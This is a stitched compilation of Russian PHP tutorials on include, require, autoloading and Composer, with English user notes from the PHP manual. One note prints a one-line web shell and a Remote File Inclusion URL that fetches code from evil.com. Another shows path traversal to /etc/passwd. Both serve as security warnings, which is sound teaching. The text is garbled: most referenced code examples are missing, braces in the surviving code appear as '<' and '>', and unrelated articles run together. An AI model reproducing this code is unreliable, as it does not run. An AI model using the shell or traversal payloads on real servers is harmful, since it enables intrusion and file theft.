Базовые возможности PHP
При разработке программ на PHP, возможно, какую-ту часть кода мы захотим использовать одновременно в других файлах с кодом PHP. В этом случае отдельные части кода можно распределить по отдельным файлам. Это позволить не писать один и тот же код по сто раз на сотнях скриптов, а будет достаточно подключить файл с кодом PHP. Кроме того, если потребуется изменить поведение подключаемого кода, достаточно будет изменить код в подключаемом файле.
Для подключения файлов PHP предоставляет ряд возможностей.
Инструкция include
Инструкция include подключает в программу внешний файл с кодом php. Так, для примера определим файл welcome.php :
Здесь определена функция welcome , которая в качестве параметра принимает условное имя и использут его для вывода приветствия.
Теперь подключим данный файл в нашу программу, которая определена в другом файле в той же папке:
В место определения инструкции include будет вставляться весь код из файла welcome.php . При этом вставка файла должна происходить до использования функции, определенной в этом файле. При этом в данном случае файл welcome.php и файл, в который он подключается, располагаются в одной папке.
Конструкция include может использовать как относительные, так и абсолютные пути. Например, выше использовался относительный путь. Или, к примеру, если мы имеем следующую структуру
То чтобы подключить файл welcome.php из папки scripts , в файле index.php необходимо использовать следующий относительный путь:
Если файл welcome.php располагается по полному пути C:\localhost\scripts\welcome.php , то также можно было бы использовать абсолютный — полный путь:
Инструкция include_once
Использование инструкции include имеет недостатки. Так, мы можем в разных местах кода неумышленно подключить один и тот же файл, что при выполнении кода вызовет ошибки.
Чтобы исключить повторное подключение файла, вместо инструкции include следует применять инструкцию include_once
И теперь, если мы подключим этот же файл с помощью include_once еще где-нибудь ниже, то это подключение будет проигнорировано, так как файл уже подключен в программу.
Инструкции require и require_once
Действие инструкции require подобно инструкции include: она также подключает внешний файл, вставляя в программу его содержимое. Только теперь, если данный файл не будет найден, действие программы прекратится (инструкция include в этом случае выбрасывает предупреждение):
И также если у нас в коде встретятся несколько инструкций require , которые подключают один и тот же файл, то интерпретатор выдаст ошибку. И также чтобы избежать данной ситуации, следует использовать инструкцию require_once :
Функция spl_autoload_register
В больших приложениях количество подключаемых файлов может быть довольно большим. Однако встроенная функция spl_autoload_register() в определенных ситуациях позволяет избежать большого количества инклудов. В качестве параметра она принимает функцию автозагрузки. Эта функция автоматически вызывается, когда в программе начинает использоваться неизвестный класс или интерфейс. И функция автозагруки пытается загрузить этот класс или интерфейс. В качестве параметра функция автозагрузки принимает название класса или интерфейса, которые надо загрузить.
Например, пусть у нас будет файл Person.php , в котором располагается класс Person :
Обращаю внимание, что название файла соответствует названию класса.
Используем функцию автозагрузки для подключения подобного класса:
Функция spl_autoload_register() в качестве параметра принимает название функции автозагрузки — в данном случае это функция my_autoloader() . В качестве параметра она принимает название класса. Например, в данном случае используется класс Person, который в этом скрипте не определен. И когда программа встретит использование данного класса, она вызовет функцию my_autoloader() , в качестве параметра $class передаст в нее название класса Person.
Все действия функции автозагрузки мы определяем сами. В данном случае с помощью echo выводится некоторое диагностическое сообщение и подключается файл класса:
При этом в данном случае неважно какой класс, главное, чтобы он хранился в одноименном файле с расширением .php . В этом случае программа выведет следующее:
Предупреждение безопасности
Удалённые файлы могут быть обработаны на удалённой стороне (в зависимости от расширения файла и того, что удалённый сервер выполняет скрипты PHP или нет), но это всё равно должно производить корректный скрипт PHP, потому что он будет затем обработан уже на локальном сервере. Если файл с удалённого сервера должен быть обработан и только отображён его результат, гораздо эффективно воспользоваться функцией readfile() В противном случае следует соблюдать особую осторожность, чтобы обезопасить удалённый скрипт для получения корректного и желаемого кода.
Смотрите также раздел Удалённые файлы, функции fopen() и file() для дополнительной информации.
Обработка возвращаемых значений: оператор include возвращает значение FALSE в случае возникновения ошибки и выдаёт предупреждение. Успешные включения, пока это не переопределено во включаемом файле, возвращают значение 1 . Возможно выполнить выражение return внутри включаемого файла, чтобы завершить процесс выполнения в этом файле и вернуться к выполнению включающего файла. Кроме того, возможно вернуть значение из включаемых файлов. Вы можете получить значение включения, как если бы вы вызвали обычную функцию. Хотя это невозможно при включении удалённого файла, только если вывод удалённого файла не содержит корректные теги начала и конца PHP кода (так же, как и локальный файл). Вы можете определить необходимые переменные внутри этих тегов и они будут представлены в зависимости от того, какой файл был выключен.
Так как include — это специальная языковая конструкция, круглые скобки не обязательны вокруг аргумента. Будьте внимательны при сравнении возвращаемого значения.
Пример #4 Сравнение возвращаемого значения при include
<?php
// не сработает, интерпретируется как include((‘vars.php’) == TRUE), то есть include(‘1’)
if (include( ‘vars.php’ ) == TRUE ) <
echo ‘OK’ ;
>
// сработает
if ((include ‘vars.php’ ) == TRUE ) <
echo ‘OK’ ;
>
?>
Пример #5 Выражения include и return
$foo = include ‘return.php’ ;
echo $foo ; // выведет ‘PHP’
$bar = include ‘noreturn.php’ ;
echo $bar ; // выведет 1
$bar имеет значение 1 , т.к. включение файла произошло успешно. Заметьте разницу между примерами сверху. Первый использует return внутри включаемого файла, тогда как второй не использует. Если файл не может быть включён, возвращается false и возникает E_WARNING .
Если во включаемом файле определены функции, они могут быть использованы в главном файле вне зависимости от того, были ли они объявлены до return или после. Если файл включается дважды, PHP выдаст фатальную ошибку, потому что функции уже были определены. Рекомендуется использовать include_once вместо того, чтобы проверять был ли файл уже включён.
Другой путь "включить" PHP-файл в переменную — это захватить вывод с помощью функций контроля вывода вместе с include . Например:
Пример #6 Использование буферизации вывода для включения файла PHP в строку
<?php
$string = get_include_contents ( ‘somefile.php’ );
function get_include_contents ( $filename ) <
if ( is_file ( $filename )) <
ob_start ();
include $filename ;
return ob_get_clean ();
>
return false ;
>
Для того, чтобы включать файлы автоматически в скрипты, обратите внимание на конфигурационные директивы auto_prepend_file и auto_append_file в php.ini .
Замечание: Поскольку это языковая конструкция, а не функция, она не может вызываться при помощи переменных функций или именованных аргументов.
User Contributed Notes 22 notes
If you want to have include files, but do not want them to be accessible directly from the client side, please, please, for the love of keyboard, do not do this:
# index.php
define ( ‘what’ , ‘ever’ );
include ‘includeFile.php’ ;
// check if what is defined and die if not
?>
The reason you should not do this is because there is a better option available. Move the includeFile(s) out of the document root of your project. So if the document root of your project is at «/usr/share/nginx/html», keep the include files in «/usr/share/nginx/src».
# index.php (in document root (/usr/share/nginx/html))
include __DIR__ . ‘/../src/includeFile.php’ ;
?>
Since user can’t type ‘your.site/../src/includeFile.php’, your includeFile(s) would not be accessible to the user directly.
Before using php’s include, require, include_once or require_once statements, you should learn more about Local File Inclusion (also known as LFI) and Remote File Inclusion (also known as RFI).
As example #3 points out, it is possible to include a php file from a remote server.
The LFI and RFI vulnerabilities occur when you use an input variable in the include statement without proper input validation. Suppose you have an example.php with code:
<?php
// Bad Code
$path = $_GET [ ‘path’ ];
include $path . ‘example-config-file.php’ ;
?>
As a programmer, you might expect the user to browse to the path that you specify.
However, it opens up an RFI vulnerability. To exploit it as an attacker, I would first setup an evil text file with php code on my evil.com domain.
evil.txt
<?php echo shell_exec ( $_GET [ ‘command’ ]); ?>
It is a text file so it would not be processed on my server but on the target/victim server. I would browse to:
h t t p : / / w w w .example.com/example.php?command=whoami& path= h t t p : / / w w w .evil.com/evil.txt%00
The example.php would download my evil.txt and process the operating system command that I passed in as the command variable. In this case, it is whoami. I ended the path variable with a %00, which is the null character. The original include statement in the example.php would ignore the rest of the line. It should tell me who the web server is running as.
Please use proper input validation if you use variables in an include statement.
When including a file using its name directly without specifying we are talking about the current working directory, i.e. saying (include «file») instead of ( include «./file») . PHP will search first in the current working directory (given by getcwd() ) , then next searches for it in the directory of the script being executed (given by __dir__).
This is an example to demonstrate the situation :
We have two directory structure :
-dir1
—-script.php
—-test
—-dir1_test
-dir2
—-test
—-dir2_test
dir1/test contains the following text :
This is test in dir1
dir2/test contains the following text:
This is test in dir2
dir1_test contains the following text:
This is dir1_test
dir2_test contains the following text:
This is dir2_test
script.php contains the following code:
<?php
echo ‘Directory of the current calling script: ‘ . __DIR__ ;
echo ‘<br />’ ;
echo ‘Current working directory: ‘ . getcwd ();
echo ‘<br />’ ;
echo ‘including «test» . ‘ ;
echo ‘<br />’ ;
include ‘test’ ;
echo ‘<br />’ ;
echo ‘Changing current working directory to dir2’ ;
chdir ( ‘../dir2’ );
echo ‘<br />’ ;
echo ‘Directory of the current calling script: ‘ . __DIR__ ;
echo ‘<br />’ ;
echo ‘Current working directory: ‘ . getcwd ();
echo ‘<br />’ ;
echo ‘including «test» . ‘ ;
echo ‘<br />’ ;
include ‘test’ ;
echo ‘<br />’ ;
echo ‘including «dir2_test» . ‘ ;
echo ‘<br />’ ;
include ‘dir2_test’ ;
echo ‘<br />’ ;
echo ‘including «dir1_test» . ‘ ;
echo ‘<br />’ ;
include ‘dir1_test’ ;
echo ‘<br />’ ;
echo ‘including «./dir1_test» . ‘ ;
echo ‘<br />’ ;
(@include ‘./dir1_test’ ) or die( ‘couldn\’t include this file ‘ );
?>
The output of executing script.php is :
Directory of the current calling script: C:\dev\www\php_experiments\working_directory\example2\dir1
Current working directory: C:\dev\www\php_experiments\working_directory\example2\dir1
including «test» .
This is test in dir1
Changing current working directory to dir2
Directory of the current calling script: C:\dev\www\php_experiments\working_directory\example2\dir1
Current working directory: C:\dev\www\php_experiments\working_directory\example2\dir2
including «test» .
This is test in dir2
including «dir2_test» .
This is dir2_test
including «dir1_test» .
This is dir1_test
including «./dir1_test» .
couldn’t include this file
If you’re doing a lot of dynamic/computed includes (>100, say), then you may well want to know this performance comparison: if the target file doesn’t exist, then an @include() is *ten* *times* *slower* than prefixing it with a file_exists() check. (This will be important if the file will only occasionally exist — e.g. a dev environment has it, but a prod one doesn’t.)
As a rule of thumb, never include files using relative paths. To do this efficiently, you can define constants as follows:
—-
<?php // prepend.php — autoprepended at the top of your tree
define ( ‘MAINDIR’ , dirname ( __FILE__ ) . ‘/’ );
define ( ‘DL_DIR’ , MAINDIR . ‘downloads/’ );
define ( ‘LIB_DIR’ , MAINDIR . ‘lib/’ );
?>
—-
and so on. This way, the files in your framework will only have to issue statements such as this:
<?php
require_once( LIB_DIR . ‘excel_functions.php’ );
?>
This also frees you from having to check the include path each time you do an include.
If you’re running scripts from below your main web directory, put a prepend.php file in each subdirectory:
—
<?php
include( dirname ( dirname ( __FILE__ )) . ‘/prepend.php’ );
?>
—
This way, the prepend.php at the top always gets executed and you’ll have no path handling headaches. Just remember to set the auto_prepend_file directive on your .htaccess files for each subdirectory where you have web-accessible scripts.
Ideally includes should be kept outside of the web root. That’s not often possible though especially when distributing packaged applications where you don’t know the server environment your application will be running in. In those cases I use the following as the first line.
( __FILE__ != $_SERVER[‘SCRIPT_FILENAME’] ) or exit ( ‘No’ );
It’s worth noting that PHP provides an OS-context aware constant called DIRECTORY_SEPARATOR. If you use that instead of slashes in your directory paths your scripts will be correct whether you use *NIX or (shudder) Windows. (In a semi-related way, there is a smart end-of-line character, PHP_EOL)
Example:
<?php
$cfg_path
= ‘includes’
. DIRECTORY_SEPARATOR
. ‘config.php’
;
require_once( $cfg_path );
A word of warning about lazy HTTP includes — they can break your server.
If you are including a file from your own site, do not use a URL however easy or tempting that may be. If all of your PHP processes are tied up with the pages making the request, there are no processes available to serve the include. The original requests will sit there tying up all your resources and eventually time out.
Use file references wherever possible. This caused us a considerable amount of grief (Zend/IIS) before I tracked the problem down.
Sometimes it will be usefull to include a string as a filename
//get content
$cFile = file_get_contents ( ‘crypted.file’ );
//decrypt the content
$content = decrypte ( $cFile );
//include this
include( «data://text/plain;base64,» . base64_encode ( $content ));
//or
include( «data://text/plain,» . urlencode ( $content ));
?>
Be very careful with including files based on user inputed data. For instance, consider this code sample:
index.php:
<?php
$page = $_GET [ ‘page’ ];
if ( file_exists ( ‘pages/’ . $page . ‘.php’ ))
<
include( ‘pages/’ . $page . ‘.php’ );
>
?>
Then go to URL:
index.php?page=/../../../../../../etc/passwd%00.html
file_exists() will return true, your passwd file will be included and since it’s not php code it will be output directly to the browser.
Of course the same vulnerability exists if you are reading a file to display, as in a templating engine.
You absolutely have to sanitize any input string that will be used to access the filesystem, you can’t count on an absolute path or appended file extension to secure it. Better yet, know exactly what options you can accept and accept only those options.
I would like to point out the difference in behavior in IIS/Windows and Apache/Unix (not sure about any others, but I would think that any server under Windows will be have the same as IIS/Windows and any server under Unix will behave the same as Apache/Unix) when it comes to path specified for included files.
Consider the following:
<?php
include ‘/Path/To/File.php’ ;
?>
In IIS/Windows, the file is looked for at the root of the virtual host (we’ll say C:\Server\Sites\MySite) since the path began with a forward slash. This behavior works in HTML under all platforms because browsers interpret the / as the root of the server.
However, Unix file/folder structuring is a little different. The / represents the root of the hard drive or current hard drive partition. In other words, it would basically be looking for root:/Path/To/File.php instead of serverRoot:/Path/To/File.php (which we’ll say is /usr/var/www/htdocs). Thusly, an error/warning would be thrown because the path doesn’t exist in the root path.
I just thought I’d mention that. It will definitely save some trouble for those users who work under Windows and transport their applications to an Unix-based server.
A work around would be something like:
<?php
$documentRoot = null ;
if (isset( $_SERVER [ ‘DOCUMENT_ROOT’ ])) <
$documentRoot = $_SERVER [ ‘DOCUMENT_ROOT’ ];
if ( strstr ( $documentRoot , ‘/’ ) || strstr ( $documentRoot , ‘\\’ )) <
if ( strstr ( $documentRoot , ‘/’ )) <
$documentRoot = str_replace ( ‘/’ , DIRECTORY_SEPARATOR , $documentRoot );
>
elseif ( strstr ( $documentRoot , ‘\\’ )) <
$documentRoot = str_replace ( ‘\\’ , DIRECTORY_SEPARATOR , $documentRoot );
>
>
if ( preg_match ( ‘/[^\\/]<1>\\[^\\/]<1>/’ , $documentRoot )) <
$documentRoot = preg_replace ( ‘/([^\\/]<1>)\\([^\\/]<1>)/’ , ‘\\1DIR_SEP\\2’ , $documentRoot );
$documentRoot = str_replace ( ‘DIR_SEP’ , ‘\\\\’ , $documentRoot );
>
>
else <
/**
* I usually store this file in the Includes folder at the root of my
* virtual host. This can be changed to wherever you store this file.
*
* Example:
* If you store this file in the Application/Settings/DocRoot folder at the
* base of your site, you would change this array to include each of those
* folders.
*
* <code>
* $directories = array(
* ‘Application’,
* ‘Settings’,
* ‘DocRoot’
* );
* </code>
*/
$directories = array(
‘Includes’
);
if ( defined ( ‘__DIR__’ )) <
$currentDirectory = __DIR__ ;
>
else <
$currentDirectory = dirname ( __FILE__ );
>
$currentDirectory = rtrim ( $currentDirectory , DIRECTORY_SEPARATOR );
$currentDirectory = $currentDirectory . DIRECTORY_SEPARATOR ;
foreach ( $directories as $directory ) <
$currentDirectory = str_replace (
DIRECTORY_SEPARATOR . $directory . DIRECTORY_SEPARATOR ,
DIRECTORY_SEPARATOR ,
$currentDirectory
);
>
$currentDirectory = rtrim ( $currentDirectory , DIRECTORY_SEPARATOR );
>
define ( ‘SERVER_DOC_ROOT’ , $documentRoot );
?>
Using this file, you can include files using the defined SERVER_DOC_ROOT constant and each file included that way will be included from the correct location and no errors/warnings will be thrown.
PHP для начинающих. Подключение файлов // PHP
В продолжении серии “PHP для начинающих”, сегодняшняя статья будет посвящена тому, как PHP ищет и подключает файлы.
Для чего и почему
PHP это скриптовый язык, созданный изначально для быстрого ваяния домашних страничек (да, да изначально это же Personal Home Page Tools), а в дальнейшем на нём уже стали создавать магазины, социалки и другие поделки на коленке которые выходят за рамки задуманного, но к чему это я – а к тому, что чем больше функционала закодировано, тем больше желание его правильно структурировать, избавиться от дублирования кода, разбить на логические кусочки и подключать лишь при необходимости (это тоже самое чувство, которое возникло у вас, когда вы читали это предложение, его можно было бы разбить на отдельные кусочки). Для этой цели в PHP есть несколько функции, общий смысл которых сводится к подключению и интерпретации указанного файла. Давайте рассмотрим на примере подключения файлов:
Если запустить скрипт index.php, то PHP всё это будет последовательно подключать и выполнять:
Когда файл подключается, то его код оказывается в той же области видимости, что и строка в которой его подключили, таким образом все переменные, доступные в данной строке будут доступны и в подключаемом файле. Если в подключаемом файле были объявлены классы или функции, то они попадают в глобальную область видимости (если конечно для них не был указан namespace).
Если вы подключаете файл внутри функции, то подключаемые файлы получают доступ к области видимости функции, таким образом следующий код тоже будет работать:
Отдельно отмечу магические константы: __DIR__ , __FILE__ , __LINE__ и прочие – они привязаны к контексту и выполняются до того, как происходит включение
Особенностью подключения файлов является тот момент, что при подключении файла парсинг переключается в режим HTML, по этой причине любой код внутри включаемого файла должен быть заключен в PHP теги:
А вы видели сайт-файл на 10 000 строк? Аж слёзы на глазах…
Функции подключения файлов
Как уже было сказано выше, в PHP существует несколько функции для подключения файлов:
-
– включает и выполняет указанный файл, если не находит – выдаёт предупреждение E_WARNING – аналогично функции выше, но включает файл единожды – включает и выполняет указанный файл, если не находит – выдаёт фатальную ошибку E_ERROR – аналогично функции выше, но включает файл единожды
В действительности, это не совсем функции, это специальные языковые конструкции, и можно круглые скобочки не использовать. Кроме всего прочего есть и другие способы подключения и выполнения файлов, но это уже сами копайте, пусть это будет для вас “задание со звёздочкой” 😉
Давайте разберём на примерах различия между require и require_once , возьмём один файл echo.php:
И будем его подключать несколько раз:
Результатом выполнения будет два подключения нашего файла:
Существует ещё парочка директив, которые влияют на подключение, но они вам не потребуются – auto_prepend_file и auto_append_file – они позволяют установить файлы которые будут подключены до подключения всех файлов и после выполнения всех скриптов соответственно, я даже не могу придумать живой сценарий, когда это может потребоваться.
Задание
Таки придумать и реализовать сценарий по использованию директив auto_prepend_file и auto_append_file , менять их можно только в php.ini, .htaccess или httpd.conf (см. PHP_INI_PERDIR) 🙂
Где ищет?
PHP ищет подключаемые файлы в директориях прописанных в директиве include_path. Эта директива также влияет на работу функций fopen() , file() , readfile() и file_get_contents() . Алгоритм работы достаточно простой – при поиске файлов PHP по очереди проверяет каждую директорию из include_path , пока не найдет подключаемый файл, если не найдёт – вернёт ошибку. Для изменения include_path из скрипта следует использовать функцию set_include_path().
При настройке include_path следует учитывать один важный момент – в качестве разделителя путей в Windows и Linux используются различные символы – “;” и “:” соответственно, так что при указании своей директории используйте константу PATH_SEPARATOR , например:
Когда вы прописываете include_path в ini файле, то можете использовать переменные окружения типа $
Если при подключении файла вы прописываете абсолютный путь (начинающийся с “/”) или относительный (начинающийся с “.” или “..”), то директива include_path будет проигнорирована, а поиск будет осуществлён только по указанному пути.
Возможно стоило бы рассказать и про safe_mode, но это уже давно история (с версии 5.4), и я надеюсь вы сталкиваться с ним не будете, но если вдруг, то чтобы знали, что такое было, но прошло
Использование return
Расскажу о небольшом life-hack’е – если подключаемый файл возвращает что-либо с использованием конструкции return , то эти данные можно получить и использовать, таким образом можно легко организовать подключение файлов конфигурации, приведу пример для наглядности:
Занимательные факты, без которых жилось и так хорошо: если во включаемом файле определены функции, то они могут быть использованы в основном файле вне зависимости от того, были ли они объявлены до return или после
Задание
Написать код, который будет собирать конфигурацию из нескольких папок и файлов. Структура файлов следующая:
При этом код должен работать следующим образом:
- если в системном окружении есть переменная PROJECT_PHP_SERVER и она равна development , то должны быть подключены все файлы из папки default, данные занесены в перемененную $config , затем подключены файлы из папки development, а полученные данные должны перетереть соответствующие пункты сохраненные в $config
- аналогичное поведение если PROJECT_PHP_SERVER равна production (естественно только для папки production)
- если переменной нет, или она задана неверно, то подключаются только файлы из папки default
Автоматическое подключение
Конструкции с подключением файлов выглядят очень громоздко, так и ещё и следить за их обновлением – ещё тот подарочек, зацените кусочек кода из примера статьи про исключения:
Чтобы избежать подобного “счастья” была придумана функция __autoload – с её помощью можно подключать необходимые нам файлы по имени класса, но лишь при одном условии – для каждого класса создан отдельный файл по имени класса. Вот пример реализации функции __autoload() (пример из комментариев в мануале):
Класс который будем подключать:
Файл, который подключает данный класс:
Теперь о проблемах с данной функцией – представьте на минуточку ситуацию, что вы подключаете сторонний код, а там уже кто-то прописал функцию __autoload() для своего кода, и вуаля:
Чтобы такого не было, создали функцию, которая позволяет регистрировать произвольную функцию или метод в качестве загрузчика классов – spl_autoload_register, теперь index.php будет выглядеть следующим образом:
Рубрика “а вы знали?”: первый параметр spl_autoload_register() не является обязательным, и вызвав функцию без него, в качестве загрузчика будет использоваться функция spl_autoload, поиск будет осуществлён по папкам из include_path и файлам с расширением .php и .inc , но этот список можно расширить с помощью функции spl_autoload_extensions
Теперь каждый разработчик может регистрировать свой загрузчик, главное чтобы имена классов не совпадали, но это не должно стать проблемой, если вы используете пространства имён.
Поскольку уже давно существует такой продвинутый функционал как spl_autoload_register() , то функцию __autoload() хотят заявить как deprecated в PHP 7.1, а это значит, что в 7.2 её и вовсе может не быть
Ну более-менее картина прояснилась, хотя погодите, все зарегистрированные загрузчики становятся в очередь, по мере их регистрации, соответственно если кто-то нахимичил в своё загрузчике, то вместо ожидаемого результата может получится очень неприятный баг. Чтобы такого не было, взрослые умные дядьки описали стандарт, который позволяет подключать сторонние библиотеки без проблем, главное чтобы организация классов в них соответствовала стандарту PSR-0 (уже устарел) или PSR-4. В чём суть требований описанных в стандартах:
- Каждая библиотека должна жить в собственном пространстве имён (т.н. vendor namespace)
- Для каждого пространства имён должна быть создана собственная папка
- Внутри пространства имён могут быть свои подпространства – тоже в отдельных папках
- Один класс – один файл
- Имя файла с расширением .php должно точно соответствовать имени класса
Пример из мануала:
| Полное имя класса | Пространство имён | Базовая директория | Полный путь |
|---|---|---|---|
| \Acme\Log\Writer\File_Writer | Acme\Log\Writer | ./acme-log-writer/lib/ | ./acme-log-writer/lib/File_Writer.php |
| \Aura\Web\Response\Status | Aura\Web | /path/to/aura-web/src/ | /path/to/aura-web/src/Response/Status.php |
| \Symfony\Core\Request | Symfony\Core | ./vendor/Symfony/Core/ | ./vendor/Symfony/Core/Request.php |
| \Zend\Acl | Zend | /usr/includes/Zend/ | /usr/includes/Zend/Acl.php |
Различия этих двух стандартов, лишь в том, что PSR-0 поддерживает старый код без пространства имён, а PSR-4 избавлен от этого анахронизма, да ещё и позволяет избежать ненужной вложенности папок.
Благодаря этим стандартам стало возможно появление такого инструмента как composer – универсального менеджера пакетов для PHP:
PHP-инъекция
Ещё хотел рассказать о первой ошибки всех, кто делает единую точку входа для сайта в одном index.php и называет это MVC-фреймворком:
Смотришь на код, и так и хочется чего-нить вредоносного туда передать:
Первое, что приходит на ум – принудительно добавлять расширение .php , но в ряде случаев это можно обойти “благодаря” уязвимости нулевого байта (почитайте, эту уязвимость уже давно исправили, но вдруг вам попадётся интерпретатор более древний, чем PHP 5.3, ну и для общего развития тоже рекомендую):
В современных версиях PHP наличие символа нулевого байта в пути подключаемого файла сразу приводит к соответствующей ошибке подключения, и даже если указанный файл существует и его можно подключить, то в результате всегда будет ошибка, проверяется это следующим образом strlen(Z_STRVAL_P(inc_filename)) != Z_STRLEN_P(inc_filename) (это из недров самого PHP)
Так же существует “чудесная” директива allow_url_include (у неё зависимость от allow_url_fopen), она позволяет подключать и выполнять удаленный PHP файлы, что куда как опасней для вашего сервера:
Увидели, запомнили, и никогда не пользуйтесь, благо по умолчанию выключено. Данная возможность вам потребуется чуть реже, чем никогда, во всех остальных случаях закладывайте правильную архитектуру приложения, где различные части приложения общаются посредством API.
Задание
Написать скрипт, который позволит подключать php-скрипты из текущей папки по названию, при этом следуют помнить о возможных уязвимостях и не допустить промашек.
В заключение
Данная статья – основа-основ в PHP, так что изучайте внимательно, выполняйте задания и не филоньте, за вас никто учить не будет.
Composer — менеджер зависимостей для PHP
Composer (getcomposer.org) — это относительно новый и уже достаточно популярный менеджер зависимостей для PHP. Вы можете описать от каких библиотек зависит ваш проект и Composer установит нужные библиотеки за вас! Причём Composer — это не менеджер пакетов в классическом понимании. Да, он оперирует с сущностями, которые мы будем называть «пакетами» или библиотеками, но устанавливаются они внутрь каждого проекта отдельно, а не глобально (это одно из основных отличий от старого-доброго PEAR).
- У вас есть проект, который зависит от нескольких библиотек.
- Некоторые из этих библиотек зависят от других библиотек.
- Вы описываете в своём проекте те библиотеки, от которых непосредственно зависит ваш код.
- Composer находит нужные версии требуемых библиотек для всего проекта, скачивает их и устанавливает в папку вашего проекта.
Изначально он был спроектирован и разработан двумя людьми Nils Adermann и Jordi Boggiano, сейчас в проекте участвует более двадцати контрибьюторов, Проект написан на PHP 5.3, распространяется под лицензией MIT и доступен на github.
Первые коммиты были сделаны апреле 2011 года и на сегодняшний день Composer находится в стадии «alpha3». Однако, он уже достаточно стабилен и используется многими популярными PHP проектами (например, Symfony 2). Список проектов использующих Composer можно посмотреть на сайте packagist.org — это официальный репозиторий Composer пакетов. Кстати, на недавней конференции Devconf 2012 разработчик фреймворка Yii в своём докладе упомянул, что Yii2 скорее всего тоже будет использовать Composer.
В этой статье я кратко опишу основные возможности Composer и мы попробуем создать демонстрационный проект использующий Composer для загрузки необходимых библиотек. Все примеры будут доступны на github.com и bitbucket.org.
Что умеет Composer?
- Скачивать пакеты и их зависимости;
- по умолчанию, пакеты скачиваются из официального репозитория packagist.org. Любой человек может свободно добавить туда свой пакет, чтобы сделать его установку максимально лёгкой и удобной для всего мира;
- пакеты можно скачивать не только с packagist.org, но и из любого git, mercurial или svn репозитория;
- при скачивании пакетов с github.com или bitbucket.org не требуется установленной системы контроля версий (git или hg), Composer работает через API этих сайтов;
- git/hg/svn репозиторий с пакетом может находиться не только на одном из перечисленных выше сайтов, но в любом другом месте, например, в локальной сети предприятия или вообще на локальном жестком диске;
- кроме того, устанавливаемая библиотека не обязательно должна быть оформлена в виде Composer-пакета, вы можете сделать установку из любого git/hg/svn репозитория произвольной структуры;
- наконец, устанавливаемый пакет не обязательно должен быть git/hg/svn репозиторием, это может быть произвольный zip файл доступный по любому uri!
- все пакеты устанавливаются в текущую директорию (откуда была выполнена команда install), это позволяет иметь несколько различных версий библиотек при работе над разными проектами параллельно;
- команда update обновляет все установленные (или установит заново случайно удалённые) пакеты до свежих версий. А может и не обновлять версии до самых свежих, если создать специальный composer.lock файл — это позволяет зафиксировать комбинацию из стабильных версий всех используемых в проекте библиотек;
- после установки пакетов автоматически генерируется autoload.php, с помощью которого можно подключить установленные библиотеки в коде вашего проекта. При подготовке Composer-пакета рекомендуется использовать PSR-0 — стандарт расположения и именования php файлов, чтобы autoload смог их легко найти. В любом случае, автор пакета может описать правила, по которым autoload будет искать файлы тех или иных классов или неймспейсов. Если вы устанавливаете библиотеку, которая не оформлена как Composer-пакет (например, произвольный git репозиторий с github), то задача описания правил autoload ложится на ваши плечи. Так что никакой магии с генерируемым autoload.php нет — он умеет загружать всё (даже библиотеки с набором функций вне классов), главное, чтобы были описаны правила (автором библиотеки или вами).
Рабочий пример: используем Composer в своём проекте
Чтобы разобраться, как пользоваться Composer’ом, напишем маленький проектик на PHP: «Super Hello World». Поскольку мы не хотим изобретать велосипед и писать код «с нуля», возьмём готовые библиотеки и фреймворки.
- микрофреймворк Silex (доступен в виде Composer пакета на packagist.org),
- шаблонизатор Twig (доступен в виде Composer пакета на packagist.org),
- наш собственный логер посещений SuperLogger, который я оформил в виде Composer-пакета и опубликовал на github
- нашу старую, но любимую легаси-библиотеку superlib, которая состоит из мешанины классов без неймспейсов и функций без классов; библиотека опубликована на github, но не является оформленным Composer-пакетом
Как мы это сделаем теперь: используем Composer — он сам скачает все библиотеки и сгенерирует для нас autoload.php. Кроме того, если мы захотим показать «Super Hello World» коллегам, достаточно будет опубликовать код нашего проекта на github (или ещё где-нибудь), не включая всех требуемых библиотек в репозиторий и не готовя длинной инструкции по их установке. Нашим коллегам достаточно будет скачать (склонировать) «Super Hello World» и выполнить команду
Composer распространяется в виде одного файла composer.phar (phar — это php-архив) — по сути это PHP скприт, который может принимать несколько команд (install, update, . ) и умеет скачивать и распаковывать библиотеки.
Кстати, немного о синтаксисе запуска.
Если вы работаете под Windows, то скорее всего вы будете писать что-то вроде
Можно упростить себе жизнь, создав composer.bat и положив его в %PATH%.
В Linux и OS X можно настроить на исполнение команду типа
composer.json
Итак, мы готовы написать наш Super Hello World проект. И я его только что написал: http://github.com/pqr/superhelloworld. Код состоит из одного index.php файла в директории web и шаблона layout.twig в директории views.
Голова всему — это файл composer.json. Он должен быть в корне проекта, в нашем случае рядом с директориями web и view. В этом файле необходимо указать от каких библиотек зависит наш проект. Кроме того, если эти библиотеки не являются оформленными Composer-пакетами, то нужно указать некоторую дополнительную информацию об устанавливаемой библиотеке (например, описать правила автозагрузки классов и функций для autoload.php).
composer.json, как вы догадались, имеет формат данных JSON. На вопрос «почему именно JSON?» разработчики Composer отвечают «Потому что. Просто примите это.«.
Нам нужно описать один js-объект, в котором будут находиться все инструкции. Первая и самая главная инструкция: require.
Подключаем пакеты с сайта packagist.org
Здесь я описал зависимость проекта от PHP версии 5.3.0 и выше, от silex (микрофреймворк) и от twig (шаблонизатор). Silex и Twig доступны в виде Composer-пакетов на сайте packagist.org, поэтому дополнительных настроек не требуют. Замечу, что Silex в свою очередь зависит ещё от нескольких пакетов — все они будут скачены и установлены автоматически.
Имя пакета состоит из двух частей разделёных косой чертой: названия поставщика (vendor name) и названия библиотеки. Названием поставщика зачастую является ник автора или имя компании. Иногда, название поставщика совпадает с именем самой библиотеки или фреймворка.
Для каждого пакета обязательно нужно указать номер версии. Это может быть бранч в репозитории, например, «dev-master» — приставка dev сигнализирует, что это имя бранча, а сам бранч соответсвенно называется «master». Для mercurial репозитория аналогичная запись будет выглядеть как «dev-default». В качестве номера версии можно указать и более сложные правила, используя операторы сравнения. Кстати, если вы скачиваете код из удалённого репозитория, то Composer сканирует теги и имена веток в этом репозитории на предмет чего-то похожего на номера версий, например тег «v1.2.3» будет использован как указатель на версию 1.2.3.
Подключаем на собственный Compsoer-пакет
Далее, подключим наш собственный пакет SuperLogger, который правильно оформлен, но опубликован не на packagist.org, а на github:
Чтобы Composer знал где искать пакет «mycompany/superlogger», мы добавили массив repositories со ссылкой на соотвествующий github репозиторий. Обратим внимание, что записи в массиве repositories напрямую никак не связаны с блоком require — между пакетами и репозиториями не указано соответствие. На сколько я понял, Composer ищет все требуемые пакеты во всех указанных репозиториях (в т.ч. на сайте packagist.org) и скачивает найденные совпадения по каким-то внутренним приоритетам. Более глубоко я в этом моменте ещё не разбирался, поправьте меня, если кто-то знает детали.
Подключаем произвольный git репозиторий
